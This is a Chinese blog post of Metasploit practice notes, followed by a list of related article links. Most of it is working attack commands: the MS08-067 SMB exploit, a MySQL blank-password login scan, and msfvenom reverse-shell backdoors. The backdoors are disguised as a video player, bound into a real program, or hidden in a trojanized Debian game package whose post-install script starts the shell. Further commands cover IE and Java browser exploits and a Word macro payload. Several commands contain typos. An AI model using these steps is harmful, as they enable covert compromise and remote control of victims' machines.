复现ms08_067_netapi

使用模块

msf5 > use exploit/windows/smb/ms08_067_netapi

查看配置

msf5 exploit(windows/smb/ms08_067_netapi) > show options

配置目标地址

msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.19.132

查看target

配置target

msf5 exploit(windows/smb/ms08_067_netapi) > set target 34

检查配置

msf5 exploit(windows/smb/ms08_067_netapi) > show options

开始攻击

msf5 exploit(windows/smb/ms08_067_netapi) > exploit

攻击成功

-------------------------------分割线-------------------------------------

auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_login) > show options

msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.19.180

msf5 auxiliary(scanner/mysql/mysql_login) > set username root

msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true

msf5 auxiliary(scanner/mysql/mysql_login) > show options

msf5 auxiliary(scanner/mysql/mysql_login) > run

------------------------------------分割线----------------------------------------

制作后门软件

msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=7777 –b “\x00” –e x86/shikta_ga_nai –I 10 –f exe –o /var/www/html/西瓜影音.exe

参数说明:

-a 指定架构 x86 x64

-platform 指定平台

-p 指定payload

LHOST 目标主机执行程序后连接我们kali的地址

LPORT 目标主机执行程序后连接我的kali的端口

-b 去掉坏字符、坏字符影响payload的正常执行

-e 指定编码器也就是所谓的免杀

-i 指定payload有效载荷编码次数

-f指定输出格式

-o 指定允许名称和导出位置

msfconsole

use exploit/multi/handler               打开监听

show options

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.44.128

set LPORT 7777

exploit

systemctl start apache2

background  保存会话退出

sessions           查看会话

sessions –i 3    使用会话

给软件加后门

思路:先查看主程序会调用哪些附加的小程序,然后把payload后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上容易报错。

msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=8888 –b “\x00” –e x86/shikata_ga_nai –I 10 –x QvodTerminal.exe –f exe –o /var/www/html/QvodTerminal.exe

-x 绑定到当前目录下的软件上

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.44.128

set LPORT 8888

jobs

exploit

jobs –k                                                                                     退出

制作Linux恶意软件获取shell

使用msfvenom生成Linux可执行文件

msfvenom –a x64 --platform linux –p linux/x64/shell/reverse_tcp LHOST=192.168.44.128 LPORT=9999-b “\x00” –i 10 –f elf –o /var/www/html/xuezha

参数和生成Windows的差不多

--platform 指定linux

-f 指定elf即linux下的可执行文件类型

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.44.128

set LPORT 9998

exploit

制作linux下的恶意软件包

apt –download-only install freesweep                             仅下载文件包

ls /var/cache/apt/freesweep_1.0.1-1_amd64.deb                查看下载后的文件

若是碰到apt锁定:

ps –aux | grep apt                                                                 查看进程

kill -9 2303                                                                              杀死进程

dpkg –x freesweep_1.0.1_amd64.deb free                     解压源文件

msfvenom –a x64 –platform linux –p linux/x64/shell/reverse_tcp LHOST=192.168.44.128 LPORT=9997 –b “\x00” –i 10 –f elf –o /root/free/usr/games/freesweep_scores

mkdir free/DEBIAN && cd free/DEBIAN

vim /root/free/DEBIAN/contro                                        创建软件包信息

Package: freesweep

Version: 1.0.1-1

Section: Game and Amusement

Priority: optional

Architecture: amd64

Maintainer: Ubuntu MOTU Developers (Ubuntu-motu@lists.ubuntu.com)

Description: a text-based minesweeper

Freesweep is an implementation of the popular minesweeper game, where

one tries to find all the mines without igniting any, based on hints given

by the computer. Unlike most implementations of this game, Freesweep

works in any visual text display – in Linux consle, in an xterm, and in

most text-based terminals currently in use.

tee  /root/free/control  << ‘EOF’                                         追加

EOF          结尾

tee /root/free/DEBIAN/postinst << ‘EOF’                      安装后脚本

#!/bin/bash

sudo chmod 2755 /user/games/freesweep_scores

sudo /usr/games/freesweep_scores &

EOF

chmod +755 /root/free/DEBAIN/postinst                              加权限

dpkg-deb –bulid /root/free                                               打包

ls free.deb

dpkg –i free.deb                                                                            安装

use exploit/multi/handler

set payload linux/x64/mwterpreter/reverse_tcp

set LHOST 192.168.44.128

set LPORT 8889

exploit

利用XP系统的IE浏览器漏洞获取shell

ms14_064_ole

官方链接:https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-064

Windos OLE 中的漏洞可允许远程执行代码

use exploit/windows/browser/ms14_064_ole_code_execution

show options

show targets                                                                                                   对谁攻击

set payload windows/meterpreter/revese_tcp

set LHOST 192.168.44.128

run

rexploit                                       重新加载模块

基于java环境的漏洞利用获取shell

use exploit/windows/browser/ms14_064_ole_code_execution

set payload windows/meterpreter/revese_tcp

set LHOST 192.168.44.128

set targets 1

set AllowPowershellPrompt true                                                       以管理员身份执行

set TRYUAC true

exploit

利用版本jre6/7/8

use exploit/multi/browser/java_jre17_driver_manager

show payloads

set LHOST 192.168.44.128

set payload java/meterpreter/http

run

利用宏感染word文档获取shell

生成宏代码

msfvenom –a x86 –platform windows –p windows/meterpreter/reverse_tcp LHOST=192.168.44.128 LPORT=7777 –e x86/shikata_nai –i 10 –f vba-exe

复制生成的宏代码中sub 。。。。。end sub 到文档的宏中。后面payload date 复制到文档中

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.44.128

set LPORT 4444

exploit

-----------------------------------------------------------分割线-----------------------------------------------------------------

metasploit练习的更多相关文章

  1. Metasploit各版本对比

    功能特性   描述 Metasploit  Framework Metasploit  Community Metasploit  Express Metasploit Pro Pricing     ...

  2. 关于kali2.0rolling中metasploit升级后无法启动问题的解决总结

    最近在学习metasploit的使用,文中提到可以使用msfupdate命令来对metasploit的payload.exploit等进行升级,我就试了一下,没想到升级过程并不麻烦,但升级后却出现了无 ...

  3. [转]初探Metasploit的自动攻击

    1. 科普Metasploit   以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...

  4. 移动安全初探:窃取微信聊天记录、Hacking Android with Metasploit

    在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...

  5. metasploit渗透初探MR.robot(一)

    看了MR.robot,有一种研究渗透技术的冲动, 网上也看了些教程,要从kali linux说起, 下载vmware 12,http://www.vmware.com/go/tryworkstatio ...

  6. metasploit用法

    1.msfconsole 进入metasploit 2.help connect 查看帮助 3.msfcli -h 查看帮助 4.ms08_067_netapi O 字符命令后加“O”,查看配置 5. ...

  7. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  8. 原创教程:《metasploit新手指南》介绍及下载

    原创教程:<metasploit新手指南>介绍及下载 1.1 作者简介 这份教程并不是“玄魂工作室”原创,但是我还是要力推给大家.相比那些一连几年都在问“我怎么才能入门”的人而言,我们更欣 ...

  9. kali 2.0 启动metasploit服务

    kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: 首先启动po ...

  10. CentOS 6.x安装Metasploit

    现在开始安装Metasploit框架,前面的包安装成功之后,我们需要再安装一些Metasploit依赖的Ruby库,命令如下: gem install wirble pg sqlite3 msgpac ...

随机推荐

  1. 解决sublime不能安装packages的问题

    问题如下:该问题产生的原因是因为默认的配置中无法访问 "https://packagecontrol.io/channel_v3.json"该文件造成的 解决: 1.下载 chan ...

  2. MySQL中case when的基本用法总结

    MySQL中case when的基本用法总结原创Backcanhave7 最后发布于2018-12-06 15:14:15 阅读数 439 收藏展开MySQL中的case when有用两种用法,官方文 ...

  3. CentOS上安装elasticsearch

    1.安装docker yum install docker 2.启动docker systemctl start docker 查看docker版本: docker -v 之后只要启动机器就会自动开启 ...

  4. Centos6.X安装桌面

    1.前置环境yum -y groupinstall 'X Window System'2.桌面安装 yum -y groupinstall 'Desktop' 3.语言包yum -y groupins ...

  5. js加入收藏

    <script> function AddFavorite(sURL, sTitle) { try { window.external.addFavorite(sURL, sTitle); ...

  6. Python 基础之压缩模块zipfile与tarfile

    一.压缩模块 zipfile (1)创建一个zip压缩包 import zipfile #zip_deflated 代表是压缩的意思#打开压缩包zf = zipfile.ZipFile("c ...

  7. 登陆页面的Sql注入

    自己手工注入的知识比较薄弱,这里就记录一下注入过程 题目: .登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入 常用万能密码: 'or'='or' adm ...

  8. jdk 档案库(包含历史版本)

    http://java.sun.com/products/archive/ 参考:https://blog.csdn.net/shiluyong8068/article/details/7894747 ...

  9. 树 插件 ztree 的基本用法

    因业务需要 用到 ztree 插件 第一次用tree插件上手有点难度 官网 http://www.treejs.cn/v3/main.php#_zTreeInfo 第一步:初始化树,树的所有数据从后台 ...

  10. 设计模式课程 设计模式精讲 17-2 模板方法模式coding

    1 代码演练 1.1 代码演练1 1.2 代码演练2(后端课程子类运用钩子方法,加入写手记的方法) 1.3 代码演练3(前端有多个子类,有得需要写手记,有得不需要写,如何实现?) 1 代码演练 1.1 ...